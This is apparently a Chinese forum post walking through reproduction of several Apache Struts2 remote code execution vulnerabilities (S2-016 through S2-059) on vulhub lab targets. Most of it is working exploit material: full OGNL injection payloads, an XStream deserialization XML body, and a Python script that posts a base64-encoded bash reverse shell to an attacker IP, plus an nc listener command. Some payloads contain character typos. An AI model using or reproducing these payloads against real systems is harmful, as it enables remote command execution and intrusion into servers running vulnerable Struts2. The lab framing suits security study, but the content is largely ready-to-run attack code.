789445 发表于 2025-2-7 02:45:27

Struts2漏洞复现

Struts2漏洞复现


[*]靶场环境:/vulhub/struts2大多都是OGNL注入
是什么:        Struts2是一个基于MVC设计模式的Web应用框架识别:        1.通过网页后缀来进行判断,如.do或者.action        2.通过/struts/webconsole.html是否存在来进行判断,但需要devMode为true。Struts2-045(CVE-2017-5638)

是什么:        在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。影响版本:        Struts2.3.5-Struts2.3.31        Struts2.5-Struts52.5.10
[*]访问地址

[*]上传一个文件并抓包,修改Content-Type为以下内容,替换其中的whoami
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
[*]构造反弹shell,注意java构造反弹shell必须base64编码
在线编码网站:https://www.sqlsec.com/rce/
# 初始语句bash -i >& /dev/tcp/192.168.10.23/6666 0>&1# base64编码echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzLzY2NjYgMD4mMQ==|base64 -d|bash -i
[*]攻击机监听6666端口,将whoami替换成base64编码的反弹shell语句
nc -lvvp 6666struts2-059(CVE-2019-0230)

是什么?        Apache Struts框架,会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。        影响版本        Struts 2.0.0 - Struts 2.5.20

[*]利用脚本poc.py反弹shell
import requestsimport base64# 靶机地址 URLtarget_url = "http://靶机ip:8080/"# 接收反弹shell 攻击机IPreverse_ip = "攻击机ip"# 接收反弹shell 攻击机端口reverse_port = "6666"bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo," + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") +"}|{base64,-d}|{bash,-i}'))}"}res1 = requests.post(target_url, data=data1)res2 = requests.post(target_url, data=data2)

[*]运行脚本
python3 poc.py

[*]成功接收shell
struts2-057(CVE-2018-11776)

当Struts2的配置满足以下条件时:                                          1.alwaysSelectFullNamespace值为true        2.action元素未设置namespace属性,或使用了通配符                        namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。                影响版本:小于等于Struts 2.3.34与Struts 2.5.16
[*]抓一个·GET请求包,访问以下路径
# 其中${(1+1)}必须要URL编码/struts2-showcase/${(1+1)}/actionChain1.action
[*]命令执行poc,更改whoami即可
/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.actionstruts2-053

        Struts2在使用Freemarker模板引l擎的时候,同时允许解析0GNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。        影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

[*]访问页面/hello.action,输入以下poc(最后要有一行空格)
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

[*]也可以反弹shell
struts2-052

        问题出在Struts2-Rest-Plugin这个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,其中解析方法xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget        影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

[*]bp发送以下数据包(注意改host)
POST /orders/3/edit HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/xmlContent-Length: 2415<map><entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">      <dataHandler>          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">            <is class="javax.crypto.CipherInputStream">            <cipher class="javax.crypto.NullCipher">                <initialized>false</initialized>                <opmode>0</opmode>                <serviceIterator class="javax.imageio.spi.FilterIterator">                  <iter class="javax.imageio.spi.FilterIterator">                  <iter class="java.util.Collections$EmptyIterator"/>                  <next class="java.lang.ProcessBuilder">                      <command>                        <string>touch</string>                        <string>/tmp/success</string>                      </command>                      <redirectErrorStream>false</redirectErrorStream>                  </next>                  </iter>                  <filter class="javax.imageio.ImageIO$ContainsFilter">                  <method>                      <class>java.lang.ProcessBuilder</class>                      <name>start</name>                      <parameter-types/>                  </method>                  <name>foo</name>                  </filter>                  <next class="string">foo</next>                </serviceIterator>                <lock/>            </cipher>            <input class="java.lang.ProcessBuilder$NullInputStream"/>            <ibuffer></ibuffer>            <done>false</done>            <ostart>0</ostart>            <ofinish>0</ofinish>            <closed>false</closed>            </is>            <consumed>false</consumed>          </dataSource>          <transferFlavors/>      </dataHandler>      <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

[*]看到返回500


[*]成功在靶机创建success


[*]其中命令执行关键字为,可以替换为反弹shell语句
<command>                                                  <string>touch</string>                      <string>/tmp/success</string></command><command>        <string>bash</string>        <string>-c</string>        <string>bash -i >& /dev/tcp/your-ip/6666 0>&1</string></command>

[*]反弹shell
struts2-048

影响版本:2.0.0-2.3.32
[*]访问http://your-ip:8080/integration/editGangster.action

[*]在GangsterName输入框中输入payload
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

[*]成功!

[*]也可以使用如下payload,必须使用Burpsuite抓包,并对payload进行url编码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}struts2-046(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
[*]随便上传一个文件,抓包漏洞点在filename处,替换为以下payload
filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}\xb"

[*]注意:\x和b之间输入%00,再URL decode

[*]替换为以下payload实现命令执行,也需要在b前面00截断
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['com.opensymphony.xwork2.Actioncontext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.0gnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getPropert y('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe',`/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getoutputStream())).(@org.apache.commons.io.IoUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}bstruts2-045(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

[*]漏洞点在POST请求头Content-Type处,以下poc:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

[*]反弹shell也可以
struts2_032(CVE-2016-3081)

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

[*]访问如下路径
?method:%23_memberAccess%3d%40ognl.0gn1Context%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.1ang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoamistruts2_016

影响版本: 2.0.0 - 2.3.15

[*]访问如下uri,redirect后面的内容需要URL编码
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char,#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
页: [1]
查看完整版本: Struts2漏洞复现